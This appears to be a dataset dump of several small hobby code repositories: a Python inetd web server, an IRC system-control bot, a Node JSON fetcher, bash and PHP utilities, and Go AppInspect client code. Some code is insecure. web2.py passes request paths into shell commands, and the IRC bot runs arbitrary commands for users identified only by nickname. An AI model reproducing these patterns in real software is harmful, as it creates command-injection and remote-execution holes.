branch_name
stringclasses 15
values | target
stringlengths 26
10.3M
| directory_id
stringlengths 40
40
| languages
sequencelengths 1
9
| num_files
int64 1
1.47k
| repo_language
stringclasses 34
values | repo_name
stringlengths 6
91
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
| input
stringclasses 1
value |
---|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>bakeymemnet/memoryless<file_sep>/README.md
# memoryless
Low memory web service
Just as we have gone from servers to instances, instances to containers, and containers to functions. The idea of memoryless to move low usage services to nonrunning services. With a few small servers, you can provide many apps without the need for many resources. Using memoryless and containers with intelligent load balances services can be ramped up during the day and turned on to memoryless systems at night to save money. It also reduces an application's carbon footprint. Simplicity and demand-based services.
Currently the system is designed around Alpine linux.
```
Packages needed
apk add busybox-extras
edit /etc/inetd.conf
rc-service inetd start
rc-update add inetd
apk add python3
for php support
apk add php7
for node support
apk add nodejs
cp web2.py /usr/bin/
cp inetd.conf /etc/
mkdir /www
Copy files like index.html to /www/
```
docker build --tag memless .
docker run memless /usr/sbin/inetd
docker run --rm -d bakeysf/memless
<file_sep>/web2.py
#!/usr/bin/python3
import sys, os, time
#settings
webroot = "/www"
ts = time.strftime('%m:%d:%Y-%H:%M:%S')
webredir = "https://www.yourdomain.com/"
input = sys.stdin
header1 = str(input.readline(10240))
header = header1
url = ""
host = ""
while header1 != "\r\n":
if header1.lower().find('get') == 0:
urltype = "get"
url = header1.lower()[4:].split()[0]
if header1.lower().find('post') == 0:
urltype = "post"
url = header1.lower()[5:].split()[0]
if header1.lower().find('head') == 0:
urltype = "head"
url = header1.lower()[5:].split()[0]
if header1.lower().find('host:') == 0:
host = header1.lower()[5:].split()[0]
if header1.lower().find('accept-encoding:') == 0:
encoding = header1.lower()[16:].split()
if header1.lower().find('user-agent:') == 0:
agent = header1.lower()[12:-2]
header1 = str(input.readline(10240))
header = header + header1
log = open('/var/log/web2.log','a')
log.write(ts + ',' + url + '\n')
log.close()
if url == "/":
url = webroot + '/index.html'
else:
url = webroot + url
#d = "<html><body>Welcome " + header + "<P><hr>\r\n" + str(url) + "</body></html>"
if os.path.exists(url):
if url[-2:] == "py":
d = os.popen('/usr/bin/python3 ' + url).read()
elif url[-3:] == "php":
d = os.popen('/usr/bin/php7 ' + url).read()
elif url[-2:] == "js":
d = os.popen('/usr/bin/node ' + url).read()
else:
file = open(url)
d = file.read()
file.close()
leng = len(d) + 1
print("HTTP/1.1 200 OK")
print("Content-Type: text/html")
print("Content-Length: " + str(leng))
print("Connection: close")
print("Accept-Ranges: bytes")
print("")
print(d)
print("")
else:
print("HTTP/1.1 302 Found")
print("Location: " + webredir)
print("")
<file_sep>/Dockerfile
From alpine:latest
RUN apk update
RUN apk add busybox-extras python3 php7 nodejs wget openrc
COPY inetd.conf /etc/inetd.conf
COPY web2.py /usr/bin/web2.py
RUN chmod 755 /usr/bin/web2.py
RUN mkdir /www
RUN echo "<html><body><center>These aren't the droids you're looking for.</center></body></html>" > /www/index.html
EXPOSE 80
CMD ["/usr/sbin/inetd", "-f"]
| 7c6bff9c22f1b16b4f2f892c058eae5f31c0ab0b | [
"Markdown",
"Python",
"Dockerfile"
] | 3 | Markdown | bakeymemnet/memoryless | e66b3ed24a30e473052799575d8e631832926fa5 | 49a4aa7620f7b8a6587702eeb4f71ec9cfde2152 | |
refs/heads/master | <repo_name>sweedishhfish04/team6proj1<file_sep>/README.md
Project 1: Seal Team 6
Full Fitness
Help clients achieve their health goals by providing them good choice of nutrition and exercises.
https://timsmith78.github.io/team6proj1/home.html<file_sep>/login-old/assets/javascript/web.js
// Initialize Firebase
var config = {
apiKey: "<KEY>",
authDomain: "login-signup-3fe79.firebaseapp.com",
databaseURL: "https://login-signup-3fe79.firebaseio.com",
projectId: "login-signup-3fe79",
storageBucket: "login-signup-3fe79.appspot.com",
messagingSenderId: "495609033378"
};
firebase.initializeApp(config);
// Initialize the FirebaseUI Widget using Firebase.
var ui = new firebaseui.auth.AuthUI(firebase.auth());
var uiConfig = {
callbacks: {
signInSuccessWithAuthResult: function(authResult, redirectUrl) {
// User successfully signed in.
// Return type determines whether we continue the redirect automatically
// or whether we leave that to developer to handle.
return true;
},
uiShown: function() {
// The widget is rendered.
// Hide the loader.
document.getElementById('loader').style.display = 'none';
}
},
// Will use popup for IDP Providers sign-in flow instead of the default, redirect.
signInFlow: 'popup',
signInSuccessUrl: '<>',
signInOptions: [
// Leave the lines as is for the providers you want to offer your users.
firebase.auth.EmailAuthProvider.PROVIDER_ID
],
// Terms of service url.
tosUrl: '<your-tos-url>'
};
// The start method will wait until the DOM is loaded.
ui.start('#firebaseui-auth-container', uiConfig);
//document.getElementById('signupbutton')
var signupbutton = document.getElementById('signupbutton');
console.log(signupbutton)
signupbutton.addEventListener('click', function(event) {
console.log('click');
var UserName = document.getElementById('UserName').value;
var email = document.getElementById('email').value;
var password= document.getElementById('password').value;
firebase.auth().createUserWithEmailAndPassword(email, password).catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// ...
});
});
(function(){
//Login/Signup modal window -
function ModalSignin( element ) {
this.element = element;
this.blocks = this.element.getElementsByClassName('js-signin-modal-block');
this.switchers = this.element.getElementsByClassName('js-signin-modal-switcher')[0].getElementsByTagName('a');
this.triggers = document.getElementsByClassName('js-signin-modal-trigger');
this.hidePassword = this.element.getElementsByClassName('js-hide-password');
this.init();
};
ModalSignin.prototype.init = function() {
var self = this;
//open modal/switch form
for(var i =0; i < this.triggers.length; i++) {
(function(i){
self.triggers[i].addEventListener('click', function(event){
if( event.target.hasAttribute('data-signin') ) {
event.preventDefault();
self.showSigninForm(event.target.getAttribute('data-signin'));
}
});
})(i);
}
//close modal
this.element.addEventListener('click', function(event){
if( hasClass(event.target, 'js-signin-modal') || hasClass(event.target, 'js-close') ) {
event.preventDefault();
removeClass(self.element, 'cd-signin-modal--is-visible');
}
});
//close modal when clicking the esc keyboard button
document.addEventListener('keydown', function(event){
(event.which=='27') && removeClass(self.element, 'cd-signin-modal--is-visible');
});
//hide/show password
for(var i =0; i < this.hidePassword.length; i++) {
(function(i){
self.hidePassword[i].addEventListener('click', function(event){
self.togglePassword(self.hidePassword[i]);
});
})(i);
}
};
ModalSignin.prototype.togglePassword = function(target) {
var password = target.previousElementSibling;
( 'password' == password.getAttribute('type') ) ? password.setAttribute('type', 'text') : password.setAttribute('type', 'password');
target.textContent = ( 'Hide' == target.textContent ) ? 'Show' : 'Hide';
putCursorAtEnd(password);
}
ModalSignin.prototype.showSigninForm = function(type) {
// show modal if not visible
!hasClass(this.element, 'cd-signin-modal--is-visible') && addClass(this.element, 'cd-signin-modal--is-visible');
// show selected form
for( var i=0; i < this.blocks.length; i++ ) {
this.blocks[i].getAttribute('data-type') == type ? addClass(this.blocks[i], 'cd-signin-modal__block--is-selected') : removeClass(this.blocks[i], 'cd-signin-modal__block--is-selected');
}
//update switcher appearance
var switcherType = (type == 'signup') ? 'signup' : 'login';
for( var i=0; i < this.switchers.length; i++ ) {
this.switchers[i].getAttribute('data-type') == switcherType ? addClass(this.switchers[i], 'cd-selected') : removeClass(this.switchers[i], 'cd-selected');
}
};
ModalSignin.prototype.toggleError = function(input, bool) {
// used to show error messages in the form
toggleClass(input, 'cd-signin-modal__input--has-error', bool);
toggleClass(input.nextElementSibling, 'cd-signin-modal__error--is-visible', bool);
}
var signinModal = document.getElementsByClassName("js-signin-modal")[0];
if( signinModal ) {
new ModalSignin(signinModal);
}
// toggle main navigation on mobile
var mainNav = document.getElementsByClassName('js-main-nav')[0];
if(mainNav) {
mainNav.addEventListener('click', function(event){
if( hasClass(event.target, 'js-main-nav') ){
var navList = mainNav.getElementsByTagName('ul')[0];
toggleClass(navList, 'cd-main-nav__list--is-visible', !hasClass(navList, 'cd-main-nav__list--is-visible'));
}
});
}
//class manipulations - needed if classList is not supported
function hasClass(el, className) {
if (el.classList) return el.classList.contains(className);
else return !!el.className.match(new RegExp('(\\s|^)' + className + '(\\s|$)'));
}
function addClass(el, className) {
var classList = className.split(' ');
if (el.classList) el.classList.add(classList[0]);
else if (!hasClass(el, classList[0])) el.className += " " + classList[0];
if (classList.length > 1) addClass(el, classList.slice(1).join(' '));
}
function removeClass(el, className) {
var classList = className.split(' ');
if (el.classList) el.classList.remove(classList[0]);
else if(hasClass(el, classList[0])) {
var reg = new RegExp('(\\s|^)' + classList[0] + '(\\s|$)');
el.className=el.className.replace(reg, ' ');
}
if (classList.length > 1) removeClass(el, classList.slice(1).join(' '));
}
function toggleClass(el, className, bool) {
if(bool) addClass(el, className);
else removeClass(el, className);
}
function putCursorAtEnd(el) {
if (el.setSelectionRange) {
var len = el.value.length * 2;
el.focus();
el.setSelectionRange(len, len);
} else {
el.value = el.value;
}
};
})();
| 718096b502128fb96e8e0748c187b85b877dc313 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | sweedishhfish04/team6proj1 | 343f24ddf682caa9bddfc8429ea6307ae4d2c43d | d1cb16e5523e78bce38d19de4e40c4c9bb76da90 | |
refs/heads/master | <repo_name>featr/socketIO-chat-app<file_sep>/server/utils/validation.test.js
const expect = require('expect');
const { isRealString } = require('./validation');
describe('isRealString', () => {
it('should reject non-string values', () => {
const res = isRealString(1234);
expect(res).toBeFalsy();
});
it('should reject string with only spaces', () => {
const res = isRealString(' ');
expect(res).toBeFalsy();
});
it('should allow string with non space values', () => {
const res = isRealString('Artifact ');
expect(res).toBeTruthy();
});
});
<file_sep>/server/utils/message.test.js
const expect = require('expect');
const { generateMessage, generateLocationMessage } = require('./message');
describe('generateMessage', () => {
it('should generate the correct message object', () => {
const res = generateMessage('Admin', 'About...');
expect(res.from).toBe('Admin');
expect(res.text).toBe('About...');
expect(res.createdAt).toEqual(expect.any(Number));
});
});
describe('generateLocationMessage', () => {
it('should generate correct location object', () => {
const res = generateLocationMessage('Admin', '1324', '1324');
expect(res.from).toBe('Admin');
expect(res.url).toBe('https://www.google.com/maps?q=1324,1324');
expect(res.createdAt).toEqual(expect.any(Number));
});
});
<file_sep>/server/utils/users.test.js
const expect = require('expect');
const { Users } = require('./users');
describe('Users', () => {
let users;
beforeEach(() => {
users = new Users();
users.users = [
{ id: '1', name: 'jen', room: 'office' },
{ id: '2', name: 'mike', room: 'office' },
{ id: '3', name: 'john', room: 'react' },
];
});
it('should add new user', () => {
const users = new Users();
const user = {
id: 'xczc',
name: 'ev',
room: 'office',
};
const resUser = users.addUser(user.id, user.name, user.room);
expect(users.users).toEqual([user]);
});
it('should remove a user', () => {
const resUser = users.removeUser('1');
expect(resUser.id).toBe('1');
expect(users.users.length).toBe(2);
});
it('should not remove user', () => {
const resUser = users.removeUser('4');
expect(users.users.length).toBe(3);
});
it('should find user', () => {
const resUser = users.getUser('1');
expect(resUser).toEqual(users.users[0]);
});
it('should not find user', () => {
const resUser = users.getUser('6');
expect(resUser).toBeFalsy();
});
it('should return names for office room', () => {
const userList = users.getUserList('office');
expect(userList).toEqual(['jen', 'mike']);
});
it('should return names for react room', () => {
const userList = users.getUserList('react');
expect(userList).toEqual(['john']);
});
it('should return active rooms', () => {
const rooms = users.getActiveRooms();
expect(rooms).toEqual(['office', 'react']);
});
});
<file_sep>/public/scripts/index.js
const socket = io();
const activeRooms = document.getElementById('activeRooms');
socket.on('getActiveRooms', rooms => {
const defaultOption = document.createElement('option');
defaultOption.text = 'See active rooms';
activeRooms.innerHTML = '';
console.log(rooms);
if (rooms) {
activeRooms.add(defaultOption);
rooms.forEach(room => {
let option = document.createElement('option');
option.text = room;
// option.disabled = 'disabled';
activeRooms.add(option);
});
}
});
activeRooms.onchange = function(e) {
if (activeRooms.options[activeRooms.selectedIndex.value] !== activeRooms[0]) {
console.log('yea');
document.getElementById('room-name').value =
activeRooms.options[activeRooms.selectedIndex].value;
}
};
| ad031a24e5c62bcbc4ea248960750e2dcf680c19 | [
"JavaScript"
] | 4 | JavaScript | featr/socketIO-chat-app | 35af26617eed4a1d2440d183e494ee89bac5259e | ba04296c6400af4941f5c99cae0c7ac6ec652ddf | |
refs/heads/master | <file_sep># blinkova
published
https://angry-sammet-6ded45.netlify.app/
<file_sep>'use strict';
var root = document.querySelector(".root");
var makeElement = function (tagName, text){
var element = document.createElement(tagName);
if(text){element.textContent = text;}
return element;
}
var makeCard = function (card){
var img = makeElement('img')
img.src= card.img;
img.style.width='100%'
root.appendChild(img);
var title = makeElement('p',card.title);
root.appendChild(title);
var size = makeElement('p', 'размер ' + card.size);
root.appendChild(size);
let price = makeElement('p', card.price + 'р');
root.appendChild(price);
if(card.sold){
price.style.color = 'red';
price.innerHTML="В частной коллекции";
}
};
var renderCard = function (gallery) {
for (let i = 0; i < gallery.length; i++) {
let cardItem = makeCard(gallery[i]);
};
root.appendChild(cardItem);
}
renderCard(cards);<file_sep>// var cards;
// cards = [
// {
// img: "./picturesAnjalla/JPG/1.jpg",
// title: 'розы',
// size:'20/15',
// price: '500 000',
// isAvailable: false,
// },
// {
// img: "./picturesAnjalla/JPG/2.jpg",
// title: 'розы',
// size:'20/15',
// price: '500 000',
// },
// {
// img: "./picturesAnjalla/JPG/3.jpg",
// title: 'розы',
// size:'20/15',
// price: '500 000',
// },
// {
// img: "./picturesAnjalla/JPG/4.jpg",
// title: 'розы',
// size:'20/15',
// price: '500 000',
// },
// {
// img: "./picturesAnjalla/JPG/5.jpg",
// title: 'розы',
// size:'20/15',
// price: '500 000',
// },
//
// ];
//
//
// var root = document.querySelector(".root");
// var makeElement = function (tagName, text){
// var element = document.createElement(tagName);
// if(text){element.textContent = text;}
// return element;
//
// }
//
// var makeCard = function (card){
// var name = makeElement('p',card.name);
// root.appendChild(name);
//
// var status = makeElement('p', card.status);
// root.appendChild(status);
//
// var img = makeElement('img')
// img.src= card.img;
// img.style.width='100px'
// root.appendChild(img);
//
//
// if(card.isGood){
// name.style.color = 'red';
//
// };
//
// };
//
// for(var i = 0; i< cards.length; i++) {
// var cardItem = makeCard(cards[i]);
//
// }
// root.appendChild(cardItem);
| 558d0a4432d4f0e806c1de3b54c90a4b2936e848 | [
"Markdown",
"JavaScript"
] | 3 | Markdown | yarov475/blinkova | 30eca10a915cbb2e9def32b0cdaa7ea1fdda69d0 | e224f6ec433d243a1031155e086159163293c518 | |
refs/heads/master | <repo_name>ohnx/random<file_sep>/noJSON/README.md
noJSON
============
simple nodejs server that extracts the value of a key from a piece of JSON.
It *should* never crash.
Also, it has 3 dependencies that are pretty common. They are:
- http
- url
- cluster
If you don't have the first two, I don't know how you plan on running nodejs servers.
Usage:
`GET /?url=<url here>&key=<JSON key>`
ie, `GET /?url=http://ipinfo.io&key=city`.
Created because I didn't feel like adding JSON parsing to [athena](https://github.com/ohnx/athena).
Also, I wanted to learn nodejs.
<file_sep>/colorize/README.md
# colorize
A bash script to make text awesomer.
Usage:
- `colorize-line.sh`:
Pass it input from `stdin` (or a pipe) and it will output to `stdout` (or a pipe) that same line, but with a random color.
- `colorize-char.sh`:
Pass it input from `stdin` (or a pipe) and it will output to `stdout` (or a pipe) that same line, but with each character having a random color.
The world needs more rainbows.
<file_sep>/colorpixel/colorpixel.php
<?php
function html2rgb($color) {
//Remove starting #
if ($color[0] == '#') $color = substr($color, 1);
//check if 6, 3 or otherwise invalid color
if (strlen($color) == 6)
list($r, $g, $b) = array($color[0].$color[1], $color[2].$color[3], $color[4].$color[5]);
elseif (strlen($color) == 3)
list($r, $g, $b) = array($color[0].$color[0], $color[1].$color[1], $color[2].$color[2]);
else
return array(0, 0, 0); //return black if invalid
$r = hexdec($r);
$g = hexdec($g);
$b = hexdec($b);
return array($r, $g, $b);
}
if(isset($_GET['hex'])) {
$hex = $_GET['hex'];
$im = imagecreatetruecolor(1, 1)
or die('Oops, an error occured.');
//convert RGB to hex
$rgb = html2rgb($hex);
$color = imagecolorallocate($im, $rgb[0], $rgb[1], $rgb[2]);
imagesetpixel($im, 0, 0, $color);
//send image
header('Content-Type: image/png');
imagepng($im);
imagedestroy($im);
} else {
//display color picking page
?>
<script type="text/javascript" src="jscolor/jscolor.js"></script>
<h1>Color not specified.</h1>
<h2>Please specify color below:</h2>
<form name="input" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
Hexdecimal color: <input class="color" name="hex">
<input type="submit" value="Submit">
</form>
<?php } ?>
<file_sep>/README.md
# random
random scripts in a variety of languages that I made.
Rainbow language bar.
<file_sep>/no/no.sh
#!/bin/bash
if [ $# -eq 0 ]
then
TOUSE="n"
else
TOUSE=$@
fi
while true
do
echo $TOUSE
done
<file_sep>/manuser/manuser.sh
#!/bin/bash
if [ $(id -u) -eq 0 ]; then
ajouter () {
read -p "Enter username: " nomdu
egrep "^$nomdu" /etc/passwd >/dev/null
if [ $? -eq 0 ]; then
echo "$nomdu exists!"
exit 1
else
read -s -p "Enter password: " password
echo
pass=$(perl -e 'print crypt($ARGV[0], "password")' $password)
useradd -m -p $pass $nomdu
[ $? -eq 0 ] && echo "User has been added to system!" || echo "Failed to add a user!"
exit
fi
}
supprimer () {
read -p "Enter username: " nomdu
egrep "^$nomdu" /etc/passwd >/dev/null
if [ $? -eq 0 ]; then
read -p "Options for userdel (ie, -r to delete home directory as well): " opts
userdel $opts $nomdu
[ $? -eq 0 ] && echo "Deleted user!" || echo "Failed to delete user!"
exit
else
echo "That user doesn't exist!"
exit 1
fi
}
read -rp "Add or remove user: " command
if [ "$command" = "add" ]
then
ajouter
fi
if [ "$command" = "remove" ]
then
supprimer
fi
else
echo "Only root may add a user to the system"
exit 2
fi
<file_sep>/no/README.md
no
==============
If there's `yes`, why isn't there `no`?
This answers the age-old question that I'm sure everyone has asked.
no is a bash script that works exactly like `yes` does, but it outputs `n` by default instead of `y`.
Negativity makes me sad.
<file_sep>/sysctl/README.md
sysctl
===================
An easy way to control a system from ruby.
It connects to a specified IRC server (configurable). Afterwards, you can either run a command using `-exec` (ie, `-exec yes | apt-get upgrade`) or by explicitly mentioning its name (ie, `VPS: yes | apt-get upgrade`)
It also starts a listening port where you can interact with IRC people. Generally, it's assumed that this port is only open to trusted people (by using AWS security groups, firewalls, etc...)
I only did this to have more red.
<file_sep>/manuser/README.md
# manuser
Manage users easily.
I could have made this longer, but then the total bash count would be too much :(.
I'm lazy.
<file_sep>/sysctl/sysctl.rb
require 'socket'
require 'cinch'
CHANNEL = "##ohnx"
SRVPORT = 2000
OWNERS = ['ohnx','ohnyx','ohnx|VPS','ohnx_']
SERVER = "irc.freenode.org"
PORT = 6667
NICK = "europa|VPS"
class MonitorBot
include Cinch::Plugin
listen_to :monitor_msg, :method => :send_msg
def send_msg(m, msg)
Channel(CHANNEL).send "#{msg}"
end
end
def s(cmd)
Channel(CHANNEL).send "#{cmd}"
end
#getting desperate here
def need(cmd)
p cmd
p "I'm really desperate for more lines here! #{cmd}"
p "really desperate for more lines here! #{cmd}"
p "desperate for more lines here! #{cmd}"
p "for more lines here! #{cmd}"
p "lines here! #{cmd}"
p "here! #{cmd}"
p "#{cmd}"
end
def more(cmda)
p mcda
p "I'm really desperate for more lines here! #{cmda}"
p "really desperate for more lines here! #{cmda}"
p "desperate for more lines here! #{cmda}"
p "for more lines here! #{cmda}"
p "lines here! #{cmda}"
p "here! #{cmda}"
p "#{cmda}"
end
def lines(cmd6)
p cmd6
p "I'm really desperate for more lines here! #{cmd6}"
p "really desperate for more lines here! #{cmd6}"
p "desperate for more lines here! #{cmd6}"
p "for more lines here! #{cmd6}"
p "lines here! #{cmd6}"
p "here! #{cmd6}"
p "#{cmd6}"
end
bot = Cinch::Bot.new do
configure do |c|
c.nick = NICK
c.realname = "Server Manager for #{NICK}"
c.user = NICK
c.server = SERVER
c.port = PORT
c.channels = [CHANNEL]
c.verbose = false
c.plugins.plugins = [MonitorBot]
end
on :message, /-exec (.*?)/ do |m, option|
if OWNERS.include? m.user.nick
@tvar = m.message
@tvar.slice!(0, 6)
m.reply "executing command #{@tvar}, output:"
@linecount=0
@work=0
start = Time.now
IO.popen(@tvar) { |io|
while (line = io.gets) do
@linecount+=1
if @linecount < 10 && @work == 0
m.reply line
elsif @work == 0
m.reply "... truncated ..."
@work=1
end
end
}
finish = Time.now
diff = finish - start
m.reply "command #{@tvar} finished in #{diff}s."
end
end
on :message, /-info/ do |m, option|
if OWNERS.include? m.user.nick
raminfo = %x(free -m)
m.reply "Memory usage: #{raminfo.split(" ")[8]}M/#{raminfo.split(" ")[7]}M (#{raminfo.split(" ")[9]}M free)"
@tvar='top -b -n 1 | head -2'
IO.popen(@tvar) { |io|
while (line = io.gets) do
m.reply line
end
}
end
end
end
def server(bot)
server = TCPServer.new '127.0.0.1', SRVPORT
loop do
Thread.start(server.accept) do |client|
message = client.gets
if message.start_with?('IRC: ')
message.slice!(0, 5)
bot.handlers.dispatch(:monitor_msg, nil, message)
client.puts "IRC sent\n"
end
end #Thread.Start
end #loop
end
Thread.new { server(bot) }
bot.start
<file_sep>/noJSON/server.js
//require the http and url modules
var http = require('http');
var url = require('url');
var cluster = require('cluster');
//Port
const PORT=8080;
//extract query variable
function getqv(str, variable) {
var vars = str.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
return null;
}
//URL regex
var r = new RegExp('^(?:[a-z]+:)?//', 'i');
//request handler function
function handleRequest(request, res){
if(request.url==='/help') {
res.end('Send a GET request to / with a url starting with HTTP/HTTPS and a key to get.\nThe key value of the JSON returned will be the only output.\n');
return null;
}
//GET key values
var furl = request.url.substring(2);
var urlg = getqv(furl, 'url');
var key = getqv(furl, 'key');
if(urlg === null||key === null){
res.end('Invalid request, see /help for help.\n');
return null;
}
try{
if(!r.test(urlg.toString())) {
urlg = 'http://' + urlg.toString();
//Don't throw an error
/*res.statusCode = 400;
res.end('Invalid URL\n');*/
}
} catch (e) {
res.end('Error.');
return null;
}
//Enclosed in a try-catch because errors.
try {
var urlp = url.parse(urlg.toString());
var options = {host: urlp.host, path: urlp.pathname, followAllRedirects: true, headers: {accept: '*/*'}};
} catch (e) {
res.statusCode = 400;
res.end('Error parsing URL\n');
}
//callback function
var callback = function(response) {
var str = '';
//another chunk of data has been received, so append it to `str`
response.on('data', function (chunk) {
str += chunk;
});
//the whole response has been received, so we just send it to user
response.on('end', function () {
console.log(str);
//try catch again for json parse
try {
var t = JSON.parse(str);
res.end(t[key]);
} catch (err) {
console.log(err.stack);
res.statusCode = 400;
res.end('Bad server response\n');
}
});
};
try {
//send http request
http.request(options, callback).end();
} catch(err) {
res.statusCode = 400;
res.end('HTTP Request failed\n');
}
}
//Check if master
if (cluster.isMaster) {
//Fork
cluster.fork();
//Restart on errors
cluster.on('exit', function(worker, code, signal) {
cluster.fork();
});
}
if (cluster.isWorker) {
//Server
var server = http.createServer(handleRequest);
//Listen
server.listen(PORT, function(){});
}
<file_sep>/colorpixel/README.md
colorpixel
=====================
A simple PHP script that creates a pixel of the specified color.
Prompts you for a color if none is specified in GET variable `hex`. If an invalid color is specified, it will make the pixel black.
You can select the color with [JSColor](http://jscolor.com/) by putting `jscolor.js` (and other required files) in the directory `jscolor/`.
I'm absolutely *amazing* at PHP.
<file_sep>/crystalbot/README.md
crystalbot
==================
A simple IRC bot written in perl that responds to all messages containing the words "crystal ball" and ending in "?" with a yes/no/maybe answer.
If asked something ending with "ok?" it will reply with "ok."
If the message contains "help" and "crystal ball", it will reply with a help message.
It also greets people joining a channel with a message.
Yay perl.
| 76a51af08d1313d315b3f4eabcb251b2ea8b6128 | [
"Ruby",
"Markdown",
"JavaScript",
"PHP",
"Shell"
] | 13 | Markdown | ohnx/random | 5277147ed29e7f8af43a8c7684a47bb48234124d | d702139e05eade715baeb0f96ae1bb850aba0814 | |
refs/heads/main | <file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"bytes"
"encoding/json"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/splunk/acs-privateapps-demo/src/appinspect"
"io/ioutil"
"path/filepath"
"time"
)
type vet struct {
PackageFilePath string `kong:"arg,help='the path to the app-package (tar.gz) file',type='path'"`
SplunkComUsername string `kong:"env='SPLUNK_COM_USERNAME',help='the splunkbase username'"`
SplunkComPassword string `kong:"env='SPLUNK_COM_PASSWORD',help='the splunkbase password'"`
JSONReportFile string `kong:"help='the file to write the inspection report in json format',type='path'"`
}
func (v *vet) Run(c *context) error {
pf, err := ioutil.ReadFile(v.PackageFilePath)
if err != nil {
return err
}
if v.SplunkComUsername == "" {
survey.AskOne(&survey.Input{
Message: "splunkbase username:",
}, &v.SplunkComUsername)
}
if v.SplunkComPassword == "" {
survey.AskOne(&survey.Password{
Message: "splunkbase password:",
}, &v.SplunkComPassword)
fmt.Println("")
}
cli := appinspect.New()
err = cli.Login(v.SplunkComUsername, v.SplunkComPassword)
if err != nil {
return err
}
submitRes, err := cli.Submit(filepath.Base(v.PackageFilePath), bytes.NewReader(pf))
if err != nil {
return err
}
fmt.Printf("submitted app for inspection (requestId='%s')\n", submitRes.RequestID)
status, err := cli.Status(submitRes.RequestID)
if err != nil {
return err
}
if status.Status == "PROCESSING" || status.Status == "PREPARING" || status.Status == "PENDING" {
fmt.Printf("waiting for inspection to finish...\n")
for {
time.Sleep(2 * time.Second)
status, err = cli.Status(submitRes.RequestID)
if err != nil {
return err
}
if status.Status != "PROCESSING" {
break
}
}
}
if status.Status == "SUCCESS" {
data, _ := json.MarshalIndent(status.Info, "", " ")
fmt.Printf("vetting completed, summary: \n%s\n", string(data))
if status.Info.Failure > 0 || status.Info.Error > 0 {
err = fmt.Errorf("vetting failed (failures=%d, errors=%d)", status.Info.Failure, status.Info.Error)
}
} else {
err = fmt.Errorf("vetting failed to complete (status='%s')", status.Status)
}
if v.JSONReportFile != "" {
report, e := cli.ReportJSON(submitRes.RequestID)
if e != nil {
fmt.Printf("failed to pull report: %s\n", e)
}
data, _ := json.MarshalIndent(report, "", " ")
e = ioutil.WriteFile(v.JSONReportFile, data, 0644)
if e != nil {
fmt.Printf("failed to write report: %s\n", e)
}
}
return err
}
<file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package appinspect
import (
"fmt"
"io"
"net/url"
"github.com/go-resty/resty/v2"
)
const (
appInspectBaseURL = "https://appinspect.splunk.com/v1/app"
)
// Client to interface with the appinspect service
type Client struct {
*resty.Client
token string
}
// Error ...
type Error struct {
Code string `json:"code"`
Description string `json:"description"`
}
func (e *Error) Error() string {
return fmt.Sprintf("%s: %s", e.Code, e.Description)
}
// New client to interface with the appinspect service
func New() *Client {
client := &Client{
Client: resty.New().SetHostURL(appInspectBaseURL).SetError(&Error{}).SetAuthScheme("Bearer"),
}
client.Client = client.Client.OnBeforeRequest(func(c *resty.Client, req *resty.Request) error {
if client.token != "" {
req.SetAuthToken(client.token)
}
return nil
})
return client
}
// NewWithToken ...
func NewWithToken(token string) *Client {
c := New()
c.token = token
return c
}
// AuthenticateResult ...
type AuthenticateResult struct {
StatusCode int `json:"status_code"`
Status string `json:"status"`
Msg string `json:"msg"`
Data struct {
Token string `json:"token"`
User struct {
Name string `json:"name"`
Email string `json:"email"`
Username string `json:"username"`
Groups []string `json:"groups"`
} `json:"user"`
} `json:"data"`
}
// Authenticate ...
func Authenticate(username, password string) (*AuthenticateResult, error) {
type erro struct {
StatusCode int `json:"status_code"`
Status string `json:"status"`
Msg string `json:"msg"`
Errors string `json:"errors"`
}
resp, err := resty.New().R().SetBasicAuth(username, password).SetResult(&AuthenticateResult{}).SetError(&erro{}).
Get("https://api.splunk.com/2.0/rest/login/splunk")
if err != nil {
return nil, fmt.Errorf("error while login: %s", err)
}
if resp.IsError() {
if e, ok := resp.Error().(*erro); ok {
return nil, fmt.Errorf("error while login: %s-%s", e.Status, e.Msg)
}
return nil, fmt.Errorf("error while login: %s", resp.Status())
}
var r *AuthenticateResult
var ok bool
if r, ok = resp.Result().(*AuthenticateResult); !ok {
return nil, fmt.Errorf("error while login: failed to parse response")
}
return r, nil
}
// Login to appinspect service
func (c *Client) Login(username, password string) error {
r, err := Authenticate(username, password)
if err != nil {
return err
}
c.token = r.Data.Token
return nil
}
// SubmitResult ...
type SubmitResult struct {
RequestID string `json:"request_id"`
Message string `json:"message"`
Links []struct {
Rel string `json:"rel"`
Href string `json:"href"`
} `json:"links"`
}
// Submit an app-package for inspection
func (c *Client) Submit(filename string, file io.Reader) (*SubmitResult, error) {
formdata := url.Values{
"included_tags": []string{"private_app"},
}
resp, err := c.R().SetAuthToken(c.token).SetFormDataFromValues(formdata).
SetFileReader("app_package", filename, file).SetResult(&SubmitResult{}).Post("/validate")
if err != nil {
return nil, fmt.Errorf("error while submit: %s", err)
}
if resp.IsError() {
if e, ok := resp.Error().(*Error); ok {
return nil, fmt.Errorf("error while submit: %s", e)
}
return nil, fmt.Errorf("error while submit: %s", resp.Status())
}
var r *SubmitResult
var ok bool
if r, ok = resp.Result().(*SubmitResult); !ok {
return nil, fmt.Errorf("error while submit: failed to parse response")
}
return r, nil
}
